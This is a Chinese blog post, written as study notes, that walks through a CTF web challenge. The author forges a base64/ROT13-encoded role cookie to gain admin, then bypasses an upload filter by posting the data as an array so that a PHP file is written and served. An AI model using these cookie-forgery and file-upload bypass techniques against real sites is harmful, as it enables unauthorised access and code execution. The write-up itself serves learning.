声明:首先这篇博文算不上原创,自己也是一个小白,在这里我主要参考了
这篇博客:https://blog.csdn.net/hardhard123/article/details/79683128
以及这篇writeup:https://www.ichunqiu.com/writeup/detail/503
写这篇博客的主要动机就是一边总结,一边学习,就当做是一篇学习笔记。
首先打开题目连接,出现下图所示,发现并没有什么有用的信息
查看源码,还是没找到有用的信息
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
Sorry. You have no permissions.</body>
</html>
1.初步思考
没有提示,也没有连接,那么可能有以下几种可能:
1.1 敏感文件泄露;(目录扫描)
1.2 跳转;(抓包)
1.3 cookie / session。(查看cookie)
2.cookie中的role
Zjo1OiJ0aHJmZyI7
base64解码得到:f:5:"thrfg";
,将thrfg
rot13解密后得到guest
于是改为admin逆过去,admin
rot13转换得到nqzva
,再将f:5:"nqzva";
base64编码得到Zjo1OiJucXp2YSI7
修改cookie的值提交到服务器,得到如下回应
查看源码,发现线索$filename = $_POST['filename']; $data = $_POST['data'];
可以看到这是一个POST文件上传的操作,
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget.</body>
</html>
接下来,顺着提示,借助于浏览器器插件hackbar,将filename=hh.php&data=<?php phpinfo(); ?>
POST出去,得到No No No!
,
查看源码,没啥有用的信息
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
No No No!
猜测代码中有一个用来匹配的正则表达式
写入文件除了fopen fwrite fclose 还有一种file_put_contents 这个允许data是数组 (不能是多维数组);
所以改为:
filename=hh.php&data=[]<?php phpinfo(); ?>
再次POST,
得到了一个地址./uploads/d8bc6a3fb97ef6d2aec73924ea7c9409hh.php
,访问该地址
拿到flag